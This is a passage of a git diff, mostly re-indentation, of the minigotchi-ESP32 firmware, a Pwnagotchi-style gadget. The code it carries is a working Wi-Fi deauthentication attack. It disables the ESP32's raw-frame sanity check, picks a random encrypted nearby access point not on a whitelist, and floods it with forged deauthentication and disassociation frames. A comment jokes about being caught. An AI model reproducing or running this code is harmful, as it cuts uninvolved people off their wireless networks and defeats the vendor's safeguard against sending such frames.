"whitelist", NULL, &required_size); - if (err == ESP_OK && required_size > 0) { - char *whitelistStr = (char *)malloc(required_size); - err = nvs_get_str(cfgHandle, "whitelist", whitelistStr, &required_size); - if (err == ESP_OK) { - // convert back into a vector - Config::whitelist.clear(); - std::stringstream ss(whitelistStr); - std::string item; - while (std::getline(ss, item, ',')) { - Config::whitelist.push_back(item); + // load Config::whitelist + size_t required_size = 0; + err = nvs_get_str(cfgHandle, "whitelist", NULL, &required_size); + if (err == ESP_OK && required_size > 0) { + char *whitelistStr = (char *)malloc(required_size); + err = nvs_get_str(cfgHandle, "whitelist", whitelistStr, &required_size); + if (err == ESP_OK) { + // convert back into a vector + Config::whitelist.clear(); + std::stringstream ss(whitelistStr); + std::string item; + while (std::getline(ss, item, ',')) { + Config::whitelist.push_back(item); + } + } + free(whitelistStr); } - } - free(whitelistStr); - } - nvs_close(cfgHandle); - } + nvs_close(cfgHandle); + } } /** * Saves configuration to NVS */ void Config::saveConfig() { - nvs_handle_t cfgHandle; - esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); - if (err == ESP_OK) { - // save Config::configured - uint8_t configured = Config::configured ? 1 : 0; - err = nvs_set_u8(cfgHandle, "configured", configured); - ESP_ERROR_CHECK(err); - - // save Config::whitelist - std::string whitelistStr; - for (size_t i = 0; i < Config::whitelist.size(); ++i) { - whitelistStr += Config::whitelist[i]; - if (i < Config::whitelist.size() - 1) { - whitelistStr += ","; - } - } - err = nvs_set_str(cfgHandle, "whitelist", whitelistStr.c_str()); - ESP_ERROR_CHECK(err); + nvs_handle_t cfgHandle; + esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); + if (err == ESP_OK) { + // save Config::configured + uint8_t configured = Config::configured ? 1 : 0; + err = nvs_set_u8(cfgHandle, "configured", configured); + ESP_ERROR_CHECK(err); + + // save Config::whitelist + std::string whitelistStr; + for (size_t i = 0; i < Config::whitelist.size(); ++i) { + whitelistStr += Config::whitelist[i]; + if (i < Config::whitelist.size() - 1) { + whitelistStr += ","; + } + } + err = nvs_set_str(cfgHandle, "whitelist", whitelistStr.c_str()); + ESP_ERROR_CHECK(err); - err = nvs_commit(cfgHandle); - ESP_ERROR_CHECK(err); - nvs_close(cfgHandle); - } + err = nvs_commit(cfgHandle); + ESP_ERROR_CHECK(err); + nvs_close(cfgHandle); + } } /** developer note: @@ -188,9 +188,13 @@ void Config::saveConfig() { * @param min Lowest number * @param max Highest number */ -int Config::random(int min, int max) { return min + rand() % (max - min + 1); } +int Config::random(int min, int max) { + return min + rand() % (max - min + 1); +} /** * Checks current uptime */ -int Config::time() { return millis() / 1000; } +int Config::time() { + return millis() / 1000; +} diff --git a/minigotchi-ESP32/config.h b/minigotchi-ESP32/config.h index 52c4ea8..1090c26 100644 --- a/minigotchi-ESP32/config.h +++ b/minigotchi-ESP32/config.h @@ -38,61 +38,61 @@ class Config { public: - static bool deauth; - static bool advertise; - static bool scan; - static bool spam; - static const char *ssid; - static const char *pass; - static int shortDelay; - static int longDelay; - static bool parasite; - static bool display; - static std::string screen; - static int baud; - static int channel; - static std::vector whitelist; - static String happy; - static String sad; - static String broken; - static String intense; - static String looking1; - static String looking2; - static String neutral; - static String sleeping; - static int epoch; - static std::string face; - static std::string identity; - static std::string name; - static int ap_ttl; - static bool associate; - static int bored_num_epochs; - static int channels[13]; - static int excited_num_epochs; - static int hop_recon_time; - static int max_inactive_scale; - static int max_interactions; - static int max_misses_for_recon; - static int min_recon_time; - static int min_rssi; - static int recon_inactive_multiplier; - static int recon_time; - static int sad_num_epochs; - static int sta_ttl; - static int pwnd_run; - static int pwnd_tot; - static std::string session_id; - static int uptime; - static std::string version; - static wifi_init_config_t wifiCfg; - static wifi_country_t ctryCfg; - static bool configured; - static void loadConfig(); - static void saveConfig(); + static bool deauth; + static bool advertise; + static bool scan; + static bool spam; + static const char *ssid; + static const char *pass; + static int shortDelay; + static int longDelay; + static bool parasite; + static bool display; + static std::string screen; + static int baud; + static int channel; + static std::vector whitelist; + static String happy; + static String sad; + static String broken; + static String intense; + static String looking1; + static String looking2; + static String neutral; + static String sleeping; + static int epoch; + static std::string face; + static std::string identity; + static std::string name; + static int ap_ttl; + static bool associate; + static int bored_num_epochs; + static int channels[13]; + static int excited_num_epochs; + static int hop_recon_time; + static int max_inactive_scale; + static int max_interactions; + static int max_misses_for_recon; + static int min_recon_time; + static int min_rssi; + static int recon_inactive_multiplier; + static int recon_time; + static int sad_num_epochs; + static int sta_ttl; + static int pwnd_run; + static int pwnd_tot; + static std::string session_id; + static int uptime; + static std::string version; + static wifi_init_config_t wifiCfg; + static wifi_country_t ctryCfg; + static bool configured; + static void loadConfig(); + static void saveConfig(); private: - static int random(int min, int max); - static int time(); + static int random(int min, int max); + static int time(); }; #endif // CONFIG_H diff --git a/minigotchi-ESP32/deauth.cpp b/minigotchi-ESP32/deauth.cpp index 97e41c2..f3a1d50 100644 --- a/minigotchi-ESP32/deauth.cpp +++ b/minigotchi-ESP32/deauth.cpp @@ -33,8 +33,8 @@ // for some dumb reason espressif really doesn't like us sending deauth frames, // so i'll need to make this fix extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, - int32_t arg3) { - return 0; + int32_t arg3) { + return 0; } // default values before we start @@ -74,34 +74,34 @@ uint8_t Deauth::broadcastAddr[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; * @param bssids SSIDs/BSSIDs to whitelist */ void Deauth::add(const std::string &bssids) { - std::stringstream ss(bssids); - std::string token; - - // seperate info and whitelist - while (std::getline(ss, token, ',')) { - // trim out whitespace - token.erase(0, token.find_first_not_of(" \t\r\n")); - token.erase(token.find_last_not_of(" \t\r\n") + 1); - - // add to whitelist - Serial.print(mood.getNeutral() + " Adding "); - Serial.print(token.c_str()); - Serial.println(" to the whitelist"); - Display::updateDisplay(mood.getNeutral(), "Adding " + - (String)token.c_str() + - " to the whitelist"); - delay(Config::shortDelay); - whitelist.push_back(token.c_str()); - } + std::stringstream ss(bssids); + std::string token; + + // seperate info and whitelist + while (std::getline(ss, token, ',')) { + // trim out whitespace + token.erase(0, token.find_first_not_of(" \t\r\n")); + token.erase(token.find_last_not_of(" \t\r\n") + 1); + + // add to whitelist + Serial.print(mood.getNeutral() + " Adding "); + Serial.print(token.c_str()); + Serial.println(" to the whitelist"); + Display::updateDisplay(mood.getNeutral(), "Adding " + + (String)token.c_str() + + " to the whitelist"); + delay(Config::shortDelay); + whitelist.push_back(token.c_str()); + } } /** * Adds everything to the whitelist */ void Deauth::list() { - for (const auto &bssid : Config::whitelist) { - Deauth::add(bssid); - } + for (const auto &bssid : Config::whitelist) { + Deauth::add(bssid); + } } /** @@ -111,10 +111,10 @@ void Deauth::list() { * @param sys_seq Ignore this, just make it false */ bool Deauth::send(uint8_t *buf, uint16_t len, bool sys_seq) { - esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq); - delay(102); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq); + delay(102); - return (err == ESP_OK); + return (err == ESP_OK); } /** @@ -124,12 +124,12 @@ bool Deauth::send(uint8_t *buf, uint16_t len, bool sys_seq) { * @param mac Mac address to check */ bool Deauth::broadcast(uint8_t *mac) { - for (uint8_t i = 0; i < 6; i++) { - if (mac[i] != broadcastAddr[i]) - return false; - } + for (uint8_t i = 0; i < 6; i++) { + if (mac[i] != broadcastAddr[i]) + return false; + } - return true; + return true; } /** @@ -137,9 +137,9 @@ bool Deauth::broadcast(uint8_t *mac) { * @param mac Address to print */ void Deauth::printMac(uint8_t *mac) { - String macStr = printMacStr(mac); - Serial.println(macStr); - Display::updateDisplay(mood.getNeutral(), "AP BSSID: " + macStr); + String macStr = printMacStr(mac); + Serial.println(macStr); + Display::updateDisplay(mood.getNeutral(), "AP BSSID: " + macStr); } /** @@ -147,10 +147,10 @@ void Deauth::printMac(uint8_t *mac) { * @param mac Mac to use */ String Deauth::printMacStr(uint8_t *mac) { - char buf[18]; // 17 for MAC, 1 for null terminator - snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], - mac[2], mac[3], mac[4], mac[5]); - return String(buf); + char buf[18]; // 17 for MAC, 1 for null terminator + snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], + mac[2], mac[3], mac[4], mac[5]); + return String(buf); } /** @@ -158,334 +158,334 @@ String Deauth::printMacStr(uint8_t *mac) { * was successful */ bool Deauth::select() { - // reset values - Deauth::randomAP = ""; - Deauth::randomIndex = -1; - - Parasite::sendDeauthStatus(START_SCAN); - - // cool animation, skip if parasite mode - if (!Config::parasite) { - for (int i = 0; i < 5; ++i) { - Serial.println(mood.getLooking1() + " Scanning for APs."); - Display::updateDisplay(mood.getLooking1(), "Scanning for APs."); - delay(Config::shortDelay); - Serial.println(mood.getLooking2() + " Scanning for APs.."); - Display::updateDisplay(mood.getLooking2(), "Scanning for APs.."); - delay(Config::shortDelay); - Serial.println(mood.getLooking1() + " Scanning for APs..."); - Display::updateDisplay(mood.getLooking1(), "Scanning for APs..."); - delay(Config::shortDelay); - Serial.println(" "); - delay(Config::shortDelay); - } - delay(Config::longDelay); - } - - // stop and scan - Minigotchi::monStop(); - - int apCount = 0; - // If a parasite channel is set, then we want to focus on that channel - // Otherwise go off on our own and scan for whatever is out there - if (Parasite::channel > 0) { - apCount = WiFi.scanNetworks(false, false, Parasite::channel); - } else { - apCount = WiFi.scanNetworks(); - } - - if (apCount > 0 && Deauth::randomIndex == -1) { - Deauth::randomIndex = random(apCount); - Deauth::randomAP = WiFi.SSID(Deauth::randomIndex); - uint8_t encType = WiFi.encryptionType(Deauth::randomIndex); - - Serial.print(mood.getNeutral() + " Selected random AP: "); - Serial.println(randomAP.c_str()); - Serial.println(" "); - Display::updateDisplay(mood.getNeutral(), - "Selected random AP: " + randomAP); - delay(Config::shortDelay); - - if (encType == WIFI_AUTH_OPEN || encType == -1) { - Serial.println( - mood.getNeutral() + - " Selected AP is not encrypted. Skipping deauthentication..."); - Display::updateDisplay( - mood.getNeutral(), - "Selected AP is not encrypted. Skipping deauthentication..."); - delay(Config::shortDelay); - Parasite::sendDeauthStatus(SKIPPING_UNENCRYPTED); - return false; + // reset values + Deauth::randomAP = ""; + Deauth::randomIndex = -1; + + Parasite::sendDeauthStatus(START_SCAN); + + // cool animation, skip if parasite mode + if (!Config::parasite) { + for (int i = 0; i < 5; ++i) { + Serial.println(mood.getLooking1() + " Scanning for APs."); + Display::updateDisplay(mood.getLooking1(), "Scanning for APs."); + delay(Config::shortDelay); + Serial.println(mood.getLooking2() + " Scanning for APs.."); + Display::updateDisplay(mood.getLooking2(), "Scanning for APs.."); + delay(Config::shortDelay); + Serial.println(mood.getLooking1() + " Scanning for APs..."); + Display::updateDisplay(mood.getLooking1(), "Scanning for APs..."); + delay(Config::shortDelay); + Serial.println(" "); + delay(Config::shortDelay); + } + delay(Config::longDelay); } - // check for ap in whitelist - if (std::find(whitelist.begin(), whitelist.end(), randomAP) != - whitelist.end()) { - Serial.println(mood.getNeutral() + - " Selected AP is in the whitelist. Skipping " - "deauthentication..."); - Display::updateDisplay( - mood.getNeutral(), - "Selected AP is in the whitelist. Skipping deauthentication..."); - delay(Config::shortDelay); - Parasite::sendDeauthStatus(SKIPPING_WHITELIST); - return false; - } + // stop and scan + Minigotchi::monStop(); - /** developer note: - * - * here we will create the deauth frame using the header, - * as we find the AP in question we also generate the required information - * for it as well... - * - */ - - // clear out exisitng frame... - std::fill(std::begin(Deauth::deauthFrame), std::end(Deauth::deauthFrame), - 0); - std::fill(std::begin(Deauth::disassociateFrame), - std::end(Deauth::disassociateFrame), 0); - - // copy template - std::copy(Deauth::deauthTemp, - Deauth::deauthTemp + sizeof(Deauth::deauthTemp), - Deauth::deauthFrame); - std::copy(Deauth::deauthTemp, - Deauth::deauthTemp + sizeof(Deauth::deauthTemp), - Deauth::disassociateFrame); - - Deauth::deauthFrame[0] = 0xC0; // type - Deauth::deauthFrame[1] = 0x00; // subtype - Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) - - Deauth::disassociateFrame[0] = 0xA0; // type - Deauth::disassociateFrame[1] = 0x00; // subtype - Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) - - // bssid - uint8_t *apBssid = WiFi.BSSID(Deauth::randomIndex); - - /** developer note: - * - * addr1: reciever addr - * addr2: sender addr - * addr3: filtering addr - * - */ - - // copy our mac(s) to header - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 4); - std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 10); - std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 16); - - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 4); - std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 10); - std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 16); - - // checks if this is a broadcast - if (!broadcast(Deauth::broadcastAddr)) { - // build deauth - Deauth::deauthFrame[0] = 0xC0; // type - Deauth::deauthFrame[1] = 0x00; // subtype - Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) - - // reason - Deauth::deauthFrame[24] = 0x01; // reason: unspecified - - std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 10); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 16); - - // build disassocaition - Deauth::disassociateFrame[0] = 0xA0; // type - Deauth::disassociateFrame[1] = 0x00; // subtype - Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) - - std::copy(apBssid, apBssid + sizeof(apBssid), - Deauth::disassociateFrame + 4); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 10); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 16); + int apCount = 0; + // If a parasite channel is set, then we want to focus on that channel + // Otherwise go off on our own and scan for whatever is out there + if (Parasite::channel > 0) { + apCount = WiFi.scanNetworks(false, false, Parasite::channel); + } else { + apCount = WiFi.scanNetworks(); } - Serial.print(mood.getNeutral() + " Full AP SSID: "); - Serial.println(WiFi.SSID(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "Full AP SSID: " + WiFi.SSID(Deauth::randomIndex)); - - Serial.print(mood.getNeutral() + " AP Encryption: "); - Serial.println(WiFi.encryptionType(Deauth::randomIndex)); - Display::updateDisplay( - mood.getNeutral(), - "AP Encryption: " + (String)WiFi.encryptionType(Deauth::randomIndex)); - - Serial.print(mood.getNeutral() + " AP RSSI: "); - Serial.println(WiFi.RSSI(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "AP RSSI: " + + if (apCount > 0 && Deauth::randomIndex == -1) { + Deauth::randomIndex = random(apCount); + Deauth::randomAP = WiFi.SSID(Deauth::randomIndex); + uint8_t encType = WiFi.encryptionType(Deauth::randomIndex); + + Serial.print(mood.getNeutral() + " Selected random AP: "); + Serial.println(randomAP.c_str()); + Serial.println(" "); + Display::updateDisplay(mood.getNeutral(), + "Selected random AP: " + randomAP); + delay(Config::shortDelay); + + if (encType == WIFI_AUTH_OPEN || encType == -1) { + Serial.println( + mood.getNeutral() + + " Selected AP is not encrypted. Skipping deauthentication..."); + Display::updateDisplay( + mood.getNeutral(), + "Selected AP is not encrypted. Skipping deauthentication..."); + delay(Config::shortDelay); + Parasite::sendDeauthStatus(SKIPPING_UNENCRYPTED); + return false; + } + + // check for ap in whitelist + if (std::find(whitelist.begin(), whitelist.end(), randomAP) != + whitelist.end()) { + Serial.println(mood.getNeutral() + + " Selected AP is in the whitelist. Skipping " + "deauthentication..."); + Display::updateDisplay( + mood.getNeutral(), + "Selected AP is in the whitelist. Skipping deauthentication..."); + delay(Config::shortDelay); + Parasite::sendDeauthStatus(SKIPPING_WHITELIST); + return false; + } + + /** developer note: + * + * here we will create the deauth frame using the header, + * as we find the AP in question we also generate the required information + * for it as well... + * + */ + + // clear out exisitng frame... + std::fill(std::begin(Deauth::deauthFrame), std::end(Deauth::deauthFrame), + 0); + std::fill(std::begin(Deauth::disassociateFrame), + std::end(Deauth::disassociateFrame), 0); + + // copy template + std::copy(Deauth::deauthTemp, + Deauth::deauthTemp + sizeof(Deauth::deauthTemp), + Deauth::deauthFrame); + std::copy(Deauth::deauthTemp, + Deauth::deauthTemp + sizeof(Deauth::deauthTemp), + Deauth::disassociateFrame); + + Deauth::deauthFrame[0] = 0xC0; // type + Deauth::deauthFrame[1] = 0x00; // subtype + Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) + + Deauth::disassociateFrame[0] = 0xA0; // type + Deauth::disassociateFrame[1] = 0x00; // subtype + Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) + + // bssid + uint8_t *apBssid = WiFi.BSSID(Deauth::randomIndex); + + /** developer note: + * + * addr1: reciever addr + * addr2: sender addr + * addr3: filtering addr + * + */ + + // copy our mac(s) to header + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 4); + std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 10); + std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 16); + + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 4); + std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 10); + std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 16); + + // checks if this is a broadcast + if (!broadcast(Deauth::broadcastAddr)) { + // build deauth + Deauth::deauthFrame[0] = 0xC0; // type + Deauth::deauthFrame[1] = 0x00; // subtype + Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) + + // reason + Deauth::deauthFrame[24] = 0x01; // reason: unspecified + + std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 10); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 16); + + // build disassocaition + Deauth::disassociateFrame[0] = 0xA0; // type + Deauth::disassociateFrame[1] = 0x00; // subtype + Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) + + std::copy(apBssid, apBssid + sizeof(apBssid), + Deauth::disassociateFrame + 4); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 10); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 16); + } + + Serial.print(mood.getNeutral() + " Full AP SSID: "); + Serial.println(WiFi.SSID(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "Full AP SSID: " + WiFi.SSID(Deauth::randomIndex)); + + Serial.print(mood.getNeutral() + " AP Encryption: "); + Serial.println(WiFi.encryptionType(Deauth::randomIndex)); + Display::updateDisplay( + mood.getNeutral(), + "AP Encryption: " + (String)WiFi.encryptionType(Deauth::randomIndex)); + + Serial.print(mood.getNeutral() + " AP RSSI: "); + Serial.println(WiFi.RSSI(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "AP RSSI: " + (String)WiFi.RSSI(Deauth::randomIndex)); - Serial.print(mood.getNeutral() + " AP BSSID: "); - printMac(apBssid); + Serial.print(mood.getNeutral() + " AP BSSID: "); + printMac(apBssid); - Serial.print(mood.getNeutral() + " AP Channel: "); - Serial.println(WiFi.channel(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "AP Channel: " + + Serial.print(mood.getNeutral() + " AP Channel: "); + Serial.println(WiFi.channel(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "AP Channel: " + (String)WiFi.channel(Deauth::randomIndex)); - Serial.println(" "); - delay(Config::longDelay); + Serial.println(" "); + delay(Config::longDelay); - Parasite::sendDeauthStatus(PICKED_AP, Deauth::randomAP.c_str(), - WiFi.channel(Deauth::randomIndex)); + Parasite::sendDeauthStatus(PICKED_AP, Deauth::randomAP.c_str(), + WiFi.channel(Deauth::randomIndex)); - return true; - } else if (apCount < 0) { - Serial.println(mood.getSad() + - " I don't know what you did, but you screwed up!"); - Serial.println(" "); - Display::updateDisplay(mood.getSad(), "You screwed up somehow!"); + return true; + } else if (apCount < 0) { + Serial.println(mood.getSad() + + " I don't know what you did, but you screwed up!"); + Serial.println(" "); + Display::updateDisplay(mood.getSad(), "You screwed up somehow!"); - Parasite::sendDeauthStatus(DEAUTH_SCAN_ERROR); + Parasite::sendDeauthStatus(DEAUTH_SCAN_ERROR); - delay(Config::shortDelay); - } else { - // well ur fucked. - Serial.println(mood.getSad() + " No access points found."); - Serial.println(" "); - Display::updateDisplay(mood.getSad(), "No access points found."); + delay(Config::shortDelay); + } else { + // well ur fucked. + Serial.println(mood.getSad() + " No access points found."); + Serial.println(" "); + Display::updateDisplay(mood.getSad(), "No access points found."); - Parasite::sendDeauthStatus(NO_APS); + Parasite::sendDeauthStatus(NO_APS); - delay(Config::shortDelay); - } - return false; + delay(Config::shortDelay); + } + return false; } /** * Full deauthentication attack */ void Deauth::deauth() { - if (Config::deauth) { - // select AP - if (Deauth::select()) { - if (randomAP.length() > 0) { - Serial.println( - mood.getIntense() + - " Starting deauthentication attack on the selected AP..."); - Serial.println(" "); - Display::updateDisplay(mood.getIntense(), - "Begin deauth-attack on AP..."); - delay(Config::shortDelay); - // define the attack - if (!running) { - start(); - } else { - Serial.println(mood.getNeutral() + " Attack is already running."); - Serial.println(" "); - Display::updateDisplay(mood.getNeutral(), - "Attack is already running."); - delay(Config::shortDelay); + if (Config::deauth) { + // select AP + if (Deauth::select()) { + if (randomAP.length() > 0) { + Serial.println( + mood.getIntense() + + " Starting deauthentication attack on the selected AP..."); + Serial.println(" "); + Display::updateDisplay(mood.getIntense(), + "Begin deauth-attack on AP..."); + delay(Config::shortDelay); + // define the attack + if (!running) { + start(); + } else { + Serial.println(mood.getNeutral() + " Attack is already running."); + Serial.println(" "); + Display::updateDisplay(mood.getNeutral(), + "Attack is already running."); + delay(Config::shortDelay); + } + } else { + // ok why did you modify the deauth function? i literally told you to + // not do that... + Serial.println(mood.getBroken() + + " No access point selected. Use select() first."); + Serial.println(mood.getNeutral() + " Told you so!"); + Serial.println(" "); + Display::updateDisplay(mood.getBroken(), + "No access point selected. Use select() first."); + delay(Config::shortDelay); + Display::updateDisplay(mood.getNeutral(), "Told you so!"); + delay(Config::shortDelay); + return; + } } - } else { - // ok why did you modify the deauth function? i literally told you to - // not do that... - Serial.println(mood.getBroken() + - " No access point selected. Use select() first."); - Serial.println(mood.getNeutral() + " Told you so!"); - Serial.println(" "); - Display::updateDisplay(mood.getBroken(), - "No access point selected. Use select() first."); - delay(Config::shortDelay); - Display::updateDisplay(mood.getNeutral(), "Told you so!"); - delay(Config::shortDelay); - return; - } + } else { + // do nothing if deauthing is disabled } - } else { - // do nothing if deauthing is disabled - } } /** * Starts deauth attack */ void Deauth::start() { - running = true; - int deauthFrameSize = sizeof(deauthFrame); - int disassociateFrameSize = sizeof(disassociateFrame); - int packets = 0; - unsigned long startTime = millis(); - - // packet calculation - int basePacketCount = 150; - int rssi = WiFi.RSSI(Deauth::randomIndex); - int numDevices = WiFi.softAPgetStationNum(); - - int packetCount = basePacketCount + (numDevices * 10); - if (rssi > -50) { - packetCount /= 2; // strong signal - } else if (rssi < -80) { - packetCount *= 2; // weak signal - } - - Parasite::sendDeauthStatus(START_DEAUTH, Deauth::randomAP.c_str(), - WiFi.channel(Deauth::randomIndex)); - - // send the deauth 150 times(ur cooked if they find out) - for (int i = 0; i < packetCount; ++i) { - if (Deauth::send(deauthFrame, deauthFrameSize, 0) && - Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - packets++; - float pps = packets / (float)(millis() - startTime) * 1000; - - // show pps - if (!isinf(pps)) { - Serial.print(mood.getIntense() + " Packets per second: "); - Serial.print(pps); - Serial.print(" pkt/s"); - Serial.println(" (AP:" + randomAP + ")"); - Display::updateDisplay(mood.getIntense(), - "Packets per second: " + (String)pps + " pkt/s" + - " (AP:" + randomAP + ")"); - } - } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && - !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Both packets failed to send!"); - Display::updateDisplay(mood.getBroken(), "Both packets failed to send!"); - } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && - Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Deauthentication failed to send!"); - Display::updateDisplay(mood.getBroken(), "Deauth failed to send!"); - } else if (Deauth::send(deauthFrame, deauthFrameSize, 0) && - !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Disassociation failed to send!"); - Display::updateDisplay(mood.getBroken(), "Disassoc failed to send!"); - } else { - Serial.println(mood.getBroken() + " Unable to calculate pkt/s!"); - Display::updateDisplay(mood.getBroken(), "Unable to calculate pkt/s!"); + running = true; + int deauthFrameSize = sizeof(deauthFrame); + int disassociateFrameSize = sizeof(disassociateFrame); + int packets = 0; + unsigned long startTime = millis(); + + // packet calculation + int basePacketCount = 150; + int rssi = WiFi.RSSI(Deauth::randomIndex); + int numDevices = WiFi.softAPgetStationNum(); + + int packetCount = basePacketCount + (numDevices * 10); + if (rssi > -50) { + packetCount /= 2; // strong signal + } else if (rssi < -80) { + packetCount *= 2; // weak signal + } + + Parasite::sendDeauthStatus(START_DEAUTH, Deauth::randomAP.c_str(), + WiFi.channel(Deauth::randomIndex)); + + // send the deauth 150 times(ur cooked if they find out) + for (int i = 0; i < packetCount; ++i) { + if (Deauth::send(deauthFrame, deauthFrameSize, 0) && + Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + packets++; + float pps = packets / (float)(millis() - startTime) * 1000; + + // show pps + if (!isinf(pps)) { + Serial.print(mood.getIntense() + " Packets per second: "); + Serial.print(pps); + Serial.print(" pkt/s"); + Serial.println(" (AP:" + randomAP + ")"); + Display::updateDisplay(mood.getIntense(), + "Packets per second: " + (String)pps + " pkt/s" + + " (AP:" + randomAP + ")"); + } + } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && + !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Both packets failed to send!"); + Display::updateDisplay(mood.getBroken(), "Both packets failed to send!"); + } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && + Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Deauthentication failed to send!"); + Display::updateDisplay(mood.getBroken(), "Deauth failed to send!"); + } else if (Deauth::send(deauthFrame, deauthFrameSize, 0) && + !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Disassociation failed to send!"); + Display::updateDisplay(mood.getBroken(), "Disassoc failed to send!"); + } else { + Serial.println(mood.getBroken() + " Unable to calculate pkt/s!"); + Display::updateDisplay(mood.getBroken(), "Unable to calculate pkt/s!"); + } } - } - Serial.println(" "); - Serial.println(mood.getHappy() + " Attack finished!"); - Serial.println(" "); - Display::updateDisplay(mood.getHappy(), "Attack finished!"); - running = false; + Serial.println(" "); + Serial.println(mood.getHappy() + " Attack finished!"); + Serial.println(" "); + Display::updateDisplay(mood.getHappy(), "Attack finished!"); + running = false; } diff --git a/minigotchi-ESP32/frame.cpp b/minigotchi-ESP32/frame.cpp index 33f9296..540b656 100644 --- a/minigotchi-ESP32/frame.cpp +++ b/minigotchi-ESP32/frame.cpp @@ -61,7 +61,7 @@ const uint16_t Frame::wpaFlags = 0x0411; Mood &Frame::mood = Mood::getInstance(); // Don't even dare restyle! -const uint8_t Frame::header[]{ +const uint8_t Frame::header[] { /* 0 - 1 */ 0x80, 0x00, // frame control, beacon frame /* 2 - 3 */ 0x00, 0x00, // duration /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // broadcast address @@ -99,150 +99,150 @@ const int Frame::pwngridHeaderLength = sizeof(Frame::header); * https://github.com/evilsocket/pwngrid/blob/master/wifi/pack.go */ uint8_t *Frame::pack() { - // make a json doc - String jsonString = ""; - DynamicJsonDocument doc(2048); - - doc["minigotchi"] = true; - doc["epoch"] = Config::epoch; - doc["face"] = Config::face; - doc["identity"] = Config::identity; - doc["name"] = Config::name; - - doc["policy"]["advertise"] = Config::advertise; - doc["policy"]["ap_ttl"] = Config::ap_ttl; - doc["policy"]["associate"] = Config::associate; - doc["policy"]["bored_num_epochs"] = 